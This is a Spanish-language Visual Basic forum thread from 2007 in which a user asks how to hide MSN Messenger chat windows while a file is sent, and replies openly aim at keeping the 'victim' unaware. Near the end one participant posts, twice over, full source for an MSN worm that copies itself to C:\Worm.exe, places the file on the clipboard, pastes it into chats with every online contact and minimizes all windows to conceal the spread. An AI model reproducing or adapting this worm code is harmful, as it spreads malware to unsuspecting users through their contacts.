Título: Como ocultar ventana Publicado por: 3k1n0x en 23 Mayo 2007, 03:04 am hola me preguntaba como hacer eso, ocultar una ventana justo despues de enviarle texto con sendkeys,
con esto en un timer con declaraciones y demas se oculta la ventana justo como la necesito pero conociendo lo q esta a la izquierda o derecha del titulo de la ventana Código: Dim lnghWnd As Long, Texto As String el problema es que no se sabe que esta a la derecha o izquierda del titulo de la ventana,no es minimizarla, lo unico q pasara es q se abrira esa ventana, luego se le enviara texto con sendkeys y ahora alguien tiene idea de como oculto esa ventana? :huh: salu2s Título: Re: Como ocultar ventana Publicado por: Freeze. en 23 Mayo 2007, 14:46 pm No te entiendo muy bien pero si quieres ocultarla usa
form1.hide y para volverla a sacar debes usar una API que ahora no recuerdo... o simplemente hacer un form muy pequeño y cuando quieras ocultarla usas esto... me.hide ' esto seria el formprincipal form2.show 'este seria el form pequeñito... Título: Re: Como ocultar ventana Publicado por: ~~ en 23 Mayo 2007, 14:57 pm Mira, se me acaba de ocurrir una idea.
La traes al frente, le mandas el texto y de nuevo con send keys le envias Alt + F4, asi se cierra y la victima ya no sospecha (demasiado) Título: Re: Como ocultar ventana Publicado por: 3k1n0x en 23 Mayo 2007, 15:17 pm No te entiendo muy bien pero si quieres ocultarla usa form1.hide y para volverla a sacar debes usar una API que ahora no recuerdo... o simplemente hacer un form muy pequeño y cuando quieras ocultarla usas esto... me.hide ' esto seria el formprincipal form2.show 'este seria el form pequeñito... si pero como las se usar siempre tengo q saber el titulo de la ventana o parte del titulo cosa q no se sabe, lo unico q se me ocurre es ponerle un focus a la ventana q se acaba de abrir(cosa q no se y q no tengo mucha idea) y asi ocultar a la ventana q tiene el focus Mira, se me acaba de ocurrir una idea. La traes al frente, le mandas el texto y de nuevo con send keys le envias Alt + F4, asi se cierra y la victima ya no sospecha (demasiado) si pero asi se cerraria la ventana y si en ella hay algo cargandose como algun archivo que se acaba de enviar, bueno ya sabes Título: Re: Como ocultar ventana Publicado por: Freeze. en 23 Mayo 2007, 19:17 pm Explica que tipo de programa quieres hacer... Creo q entenderiamos mejor...
Título: Re: Como ocultar ventana Publicado por: vivachapas en 24 Mayo 2007, 02:22 am me.visible = False
creo q es eso... al menos yo lo hago asi... es lo mismo q hidden... Título: Re: Como ocultar ventana Publicado por: 3k1n0x en 24 Mayo 2007, 02:58 am Explica que tipo de programa quieres hacer... Creo q entenderiamos mejor... es para ocultar una ventana ya sabes, primero se abre la ventana, luego comienza a cargarse un archivo en ella, luego ahi que ocultar la ventana de la barra de tareas, 30 seg despues se repite, pero no sabemos cual es el titulo de la ventana solo q se acaba de abrir me.visible = False creo q es eso... al menos yo lo hago asi... es lo mismo q hidden... creo q si se puede usar pero como saber quien es me? alguna idea de como obtener el titulo de alguna ventana q se acaba de abrir para asi ocultarla :huh: Título: Re: Como ocultar ventana Publicado por: vivachapas en 24 Mayo 2007, 03:06 am bien... creo q te entendi...
para enviarle texto a cualquier ventana podrias estar enviando texto constantemente con un timer... de q sirve una ventana oculta?? xq no la cierras una vez q enviaste el sendkeys? Título: Re: Como ocultar ventana Publicado por: 3k1n0x en 24 Mayo 2007, 03:19 am bien... creo q te entendi... para enviarle texto a cualquier ventana podrias estar enviando texto constantemente con un timer... de q sirve una ventana oculta?? xq no la cierras una vez q enviaste el sendkeys? si lo q no se es como ocultar la ventana q se acaba de abrir no c cierra xq se esta enviando un archivo, lo unico q se sabe es q se acaba de abrir la ventana Título: Re: Como ocultar ventana Publicado por: Freeze. en 24 Mayo 2007, 17:02 pm Ya entendi tu lo que no quieres que se vea es la ventana que dice que algo se esta cargando en "ella" cierto???
Bueno solamente utiliza esto: app.activate aqui el nombre de la ventana , aqui si quieres esperar (no se como se usa) Ejemplo: app.activate "Conversación" Eso activa la ventana de la conversación por MSN q este activa.... Creo q te solucione el problema o no???? Título: Re: Como ocultar ventana Publicado por: 3k1n0x en 24 Mayo 2007, 17:07 pm Ya entendi tu lo que no quieres que se vea es la ventana que dice que algo se esta cargando en "ella" cierto??? Bueno solamente utiliza esto: app.activate aqui el nombre de la ventana , aqui si quieres esperar (no se como se usa) Ejemplo: app.activate "Conversación" Eso activa la ventana de la conversación por MSN q este activa.... Creo q te solucione el problema o no???? si supon q se esta enviando un archivo comprimido y no sabes si al final del titulo de la ventana dice Conversacion o Conversation o quien sabe, hay q hacerlo solo a la q se esta cargando y aparte cada 30seg, de todas formas creo q encontre una forma por "fuerza bruta" xD vere si funka pero si hay alguna idea no staria mal salu2s Título: Re: Como ocultar ventana Publicado por: Freeze. en 24 Mayo 2007, 17:10 pm Ok...
Solo dime el nombre que sale en la ventana que quieres ocultar... Título: Re: Como ocultar ventana Publicado por: 3k1n0x en 24 Mayo 2007, 17:16 pm si pero lo que se sabe es q se acaba de abrir, el titulo de la ventana varia, por ahi dijeron que saque el handle de la ventana q tiene el foco y luego usar la api showwindown con el handle, en eso estoy pero no se
Título: Re: Como ocultar ventana Publicado por: ~~ en 24 Mayo 2007, 17:21 pm Una idea.
Con la api del msn puedes obtener los nicks de los contactos no? pues la traes al frente, y el titulo de la ventana tendra q contener por fuerza el nick. Haces un listado de todas las ventanas, buscas la q contenga el nick, obtienes el handle y la ocultas... Título: Re: Como ocultar ventana Publicado por: Freeze. en 24 Mayo 2007, 17:23 pm Si el titulo de la ventana varia encuentra algo ue siempre este...
Por ejemplo: En las conversaciones de MSN siempre varia el contacto pero al final... siempre dice "Conversación" Título: Re: Como ocultar ventana Publicado por: 3k1n0x en 24 Mayo 2007, 17:29 pm Una idea. si pero depende de si se tiene "ver contactos por direccion de email" o "ver contactos por nombre para mostrar" si la tienen por la primera el titulo seria "<direccion> - Conv.." y si no seria "<nombre para mostrar> - Conv.."Con la api del msn puedes obtener los nicks de los contactos no? pues la traes al frente, y el titulo de la ventana tendra q contener por fuerza el nick. Haces un listado de todas las ventanas, buscas la q contenga el nick, obtienes el handle y la ocultas... Si el titulo de la ventana varia encuentra algo ue siempre este... Por ejemplo: En las conversaciones de MSN siempre varia el contacto pero al final... siempre dice "Conversación" aveces x estar en ingles dice Conversation o incluso dice Conversaci%n y ademas es posible que esten otras ventanas abiertas con eso mismo Título: Re: Como ocultar ventana Publicado por: 3k1n0x en 25 Mayo 2007, 05:23 am ya tengo la idea de como hacerlo pero no se hacerlo, se hace creeeo con get focus, que obtiene el handle de la ventana que tiene el foco del teclado (eso es!), con esto me da el handle de la ventana, ahora el problema es q solo da el handle del formulario y no de ventanas externas alguien sabe como hacer para saber el handle de ventanas externas?
Código: Private Declare Function apiGetFocus Lib "user32" _ Título: Re: Como ocultar ventana Publicado por: ~~ en 25 Mayo 2007, 17:23 pm Creo q usas mal la api... para obtener el hadle de la ventana q tiene el foco tienes q hacer esto: (no estoy 100% seguro)
Código: Private Declare Function GetFocus Lib "user32" () As Long Y te kedaria en h& el handle. Pero mira esta api: http://support.microsoft.com/kb/147659/es Te permite obtener el handle e una ventana sin saber su titulo exato.. espero q te sirva ;) Título: Re: Como ocultar ventana Publicado por: Freeze. en 25 Mayo 2007, 21:14 pm jejeje... ok
Título: Re: Como ocultar ventana Publicado por: Tengu en 24 Julio 2007, 02:15 am hola,por lo que decia Freeze el codigo seria Appactivate, sin el punto,algo asi para tener en cuenta los idiomas de msn:
on error resume next appactivate "Conversación" appactivate "Conversati..." appactivate "..." y asi t activara cualquier ventana q haya abierta si es q hay una abierta y tal vez si quieres ocultar la ventana podrias minimizarlas todas para q no se interrumpa la transferencia del archivo Const KEYEVENTF_KEYUP = &H2 Const VK_LWIN = &H5B Call keybd_event(VK_LWIN, 0, 0, 0) Call keybd_event(77, 0, 0, 0) Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0) una duda tu quieres q se autoenvie el mismo programa luego de comprimirse? Título: Re: Como ocultar ventana Publicado por: 3k1n0x en 25 Julio 2007, 15:58 pm hola,por lo que decia Freeze el codigo seria Appactivate, sin el punto,algo asi para tener en cuenta los idiomas de msn: on error resume next appactivate "Conversación" appactivate "Conversati..." appactivate "..." y asi t activara cualquier ventana q haya abierta si es q hay una abierta y tal vez si quieres ocultar la ventana podrias minimizarlas todas para q no se interrumpa la transferencia del archivo Const KEYEVENTF_KEYUP = &H2 Const VK_LWIN = &H5B Call keybd_event(VK_LWIN, 0, 0, 0) Call keybd_event(77, 0, 0, 0) Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0) una duda tu quieres q se autoenvie el mismo programa luego de comprimirse? si, luego de descomprimido se repite pero lo e dejado parado aunq no es tan complicado porq no tengo listo algo bueno q tenga q llevar mientras se autoenvie salu2s Título: Re: Como ocultar ventana Publicado por: Tengu en 25 Julio 2007, 16:04 pm jejej ya "se lo que hiciste el verano pasado",(chiste) si llegas a retomarlo avisame , podriamos hablar de algun code.
Título: Re: Como ocultar ventana Publicado por: Tengu en 25 Julio 2007, 16:11 pm Citar Tal vez esto sirva:(no esta escrito por mi) ;D ;D ;D ;D ;D ;DEn un Modulo (Esto sirve para poner nuestro archivo dentro del Portapapeles): Option Explicit ' Required data structures Private Type POINTAPI x As Long y As Long End Type ' Clipboard Manager Functions Private Declare Function EmptyClipboard Lib "user32" () As Long Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long Private Declare Function CloseClipboard Lib "user32" () As Long Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long ' Other required Win32 APIs Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) ' Predefined Clipboard Formats Private Const CF_TEXT = 1 Private Const CF_BITMAP = 2 Private Const CF_METAFILEPICT = 3 Private Const CF_SYLK = 4 Private Const CF_DIF = 5 Private Const CF_TIFF = 6 Private Const CF_OEMTEXT = 7 Private Const CF_DIB = 8 Private Const CF_PALETTE = 9 Private Const CF_PENDATA = 10 Private Const CF_RIFF = 11 Private Const CF_WAVE = 12 Private Const CF_UNICODETEXT = 13 Private Const CF_ENHMETAFILE = 14 Private Const CF_HDROP = 15 Private Const CF_LOCALE = 16 Private Const CF_MAX = 17 ' New shell-oriented clipboard formats Private Const CFSTR_SHELLIDLIST As String = "Shell IDList Array" Private Const CFSTR_SHELLIDLISTOFFSET As String = "Shell Object Offsets" Private Const CFSTR_NETRESOURCES As String = "Net Resource" Private Const CFSTR_FILEDESCRIPTOR As String = "FileGroupDescriptor" Private Const CFSTR_FILECONTENTS As String = "FileContents" Private Const CFSTR_FILENAME As String = "FileName" Private Const CFSTR_PRINTERGROUP As String = "PrinterFriendlyName" Private Const CFSTR_FILENAMEMAP As String = "FileNameMap" ' Global Memory Flags Private Const GMEM_FIXED = &H0 Private Const GMEM_MOVEABLE = &H2 Private Const GMEM_NOCOMPACT = &H10 Private Const GMEM_NODISCARD = &H20 Private Const GMEM_ZEROINIT = &H40 Private Const GMEM_MODIFY = &H80 Private Const GMEM_DISCARDABLE = &H100 Private Const GMEM_NOT_BANKED = &H1000 Private Const GMEM_SHARE = &H2000 Private Const GMEM_DDESHARE = &H2000 Private Const GMEM_NOTIFY = &H4000 Private Const GMEM_LOWER = GMEM_NOT_BANKED Private Const GMEM_VALID_FLAGS = &H7F72 Private Const GMEM_INVALID_HANDLE = &H8000 Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT) Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT) Private Type DROPFILES pFiles As Long pt As POINTAPI fNC As Long fWide As Long End Type Public Function ClipboardCopyFiles(Files() As String) As Boolean Dim data As String Dim df As DROPFILES Dim hGlobal As Long Dim lpGlobal As Long Dim i As Long ' Open and clear existing crud off clipboard. If OpenClipboard(0&) Then Call EmptyClipboard ' Build double-null terminated list of files. For i = LBound(Files) To UBound(Files) data = data & Files(i) & vbNullChar Next data = data & vbNullChar ' Allocate and get pointer to global memory, ' then copy file list to it. hGlobal = GlobalAlloc(GHND, Len(df) + Len(data)) If hGlobal Then lpGlobal = GlobalLock(hGlobal) ' Build DROPFILES structure in global memory. df.pFiles = Len(df) Call CopyMem(ByVal lpGlobal, df, Len(df)) Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data)) Call GlobalUnlock(hGlobal) ' Copy data to clipboard, and return success. If SetClipboardData(CF_HDROP, hGlobal) Then ClipboardCopyFiles = True End If End If ' Clean up Call CloseClipboard End If End Function[/code> Y aki el "Cuerpo virico": [code>Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) Const KEYEVENTF_KEYUP = &H2 Const VK_LWIN = &H5B Private Sub Wait(ByVal nSec As Integer) Dim t1 As Date, t2 As Date t1 = Second(Now) t2 = t1 + nSec Do DoEvents Loop While t2 > Second(Now) End Sub Sub msninfect() On Error Resume Next Set w = CreateObject("Messenger.UIAutomation" For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then Set iMsn = w.InstantMessage(ConTacto.SigninName) SendKeys "^V" End If Next Wait (1) ' Esperamos un segundito para no "atascar" tanto... ' A partir de aki sirve para minimizar todas las ventanas... Call keybd_event(VK_LWIN, 0, 0, 0) Call keybd_event(77, 0, 0, 0) Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0) End Sub A lo mejor te sirva esto ! : En un Modulo (Esto sirve para poner nuestro archivo dentro del Portapapeles): Option Explicit ' Required data structures Private Type POINTAPI x As Long y As Long End Type ' Clipboard Manager Functions Private Declare Function EmptyClipboard Lib "user32" () As Long Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long Private Declare Function CloseClipboard Lib "user32" () As Long Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long ' Other required Win32 APIs Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) ' Predefined Clipboard Formats Private Const CF_TEXT = 1 Private Const CF_BITMAP = 2 Private Const CF_METAFILEPICT = 3 Private Const CF_SYLK = 4 Private Const CF_DIF = 5 Private Const CF_TIFF = 6 Private Const CF_OEMTEXT = 7 Private Const CF_DIB = 8 Private Const CF_PALETTE = 9 Private Const CF_PENDATA = 10 Private Const CF_RIFF = 11 Private Const CF_WAVE = 12 Private Const CF_UNICODETEXT = 13 Private Const CF_ENHMETAFILE = 14 Private Const CF_HDROP = 15 Private Const CF_LOCALE = 16 Private Const CF_MAX = 17 ' New shell-oriented clipboard formats Private Const CFSTR_SHELLIDLIST As String = "Shell IDList Array" Private Const CFSTR_SHELLIDLISTOFFSET As String = "Shell Object Offsets" Private Const CFSTR_NETRESOURCES As String = "Net Resource" Private Const CFSTR_FILEDESCRIPTOR As String = "FileGroupDescriptor" Private Const CFSTR_FILECONTENTS As String = "FileContents" Private Const CFSTR_FILENAME As String = "FileName" Private Const CFSTR_PRINTERGROUP As String = "PrinterFriendlyName" Private Const CFSTR_FILENAMEMAP As String = "FileNameMap" ' Global Memory Flags Private Const GMEM_FIXED = &H0 Private Const GMEM_MOVEABLE = &H2 Private Const GMEM_NOCOMPACT = &H10 Private Const GMEM_NODISCARD = &H20 Private Const GMEM_ZEROINIT = &H40 Private Const GMEM_MODIFY = &H80 Private Const GMEM_DISCARDABLE = &H100 Private Const GMEM_NOT_BANKED = &H1000 Private Const GMEM_SHARE = &H2000 Private Const GMEM_DDESHARE = &H2000 Private Const GMEM_NOTIFY = &H4000 Private Const GMEM_LOWER = GMEM_NOT_BANKED Private Const GMEM_VALID_FLAGS = &H7F72 Private Const GMEM_INVALID_HANDLE = &H8000 Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT) Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT) Private Type DROPFILES pFiles As Long pt As POINTAPI fNC As Long fWide As Long End Type Public Function ClipboardCopyFiles(Files() As String) As Boolean Dim data As String Dim df As DROPFILES Dim hGlobal As Long Dim lpGlobal As Long Dim i As Long ' Open and clear existing crud off clipboard. If OpenClipboard(0&) Then Call EmptyClipboard ' Build double-null terminated list of files. For i = LBound(Files) To UBound(Files) data = data & Files(i) & vbNullChar Next data = data & vbNullChar ' Allocate and get pointer to global memory, ' then copy file list to it. hGlobal = GlobalAlloc(GHND, Len(df) + Len(data)) If hGlobal Then lpGlobal = GlobalLock(hGlobal) ' Build DROPFILES structure in global memory. df.pFiles = Len(df) Call CopyMem(ByVal lpGlobal, df, Len(df)) Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data)) Call GlobalUnlock(hGlobal) ' Copy data to clipboard, and return success. If SetClipboardData(CF_HDROP, hGlobal) Then ClipboardCopyFiles = True End If End If ' Clean up Call CloseClipboard End If End Function[/code> Y aki el "Cuerpo virico": [code>Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) Const KEYEVENTF_KEYUP = &H2 Const VK_LWIN = &H5B Private Sub Wait(ByVal nSec As Integer) Dim t1 As Date, t2 As Date t1 = Second(Now) t2 = t1 + nSec Do DoEvents Loop While t2 > Second(Now) End Sub Sub msninfect() On Error Resume Next Set w = CreateObject("Messenger.UIAutomation" For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then Set iMsn = w.InstantMessage(ConTacto.SigninName) SendKeys "^V" End If Next Wait (1) ' Esperamos un segundito para no "atascar" tanto... ' A partir de aki sirve para minimizar todas las ventanas... Call keybd_event(VK_LWIN, 0, 0, 0) Call keybd_event(77, 0, 0, 0) Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0) End Sub Sub newpropMSN() Dim ap(0) As String FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Worm.exe" ' Nos Copiamos ap(0) = "C:\Worm.exe" If ClipboardCopyFiles = True Then ' Nos ponemos en el Portapapeles End If Wait (1) ' Esperamos 1 respiro al procesador... msninfect ' Llamamos a la funcion de la propagación End Sub ahora deberias modificar el code para enviar el rar o zip y no un exe... pero creoo q tu sabes hacerlo muy bien.salu25 |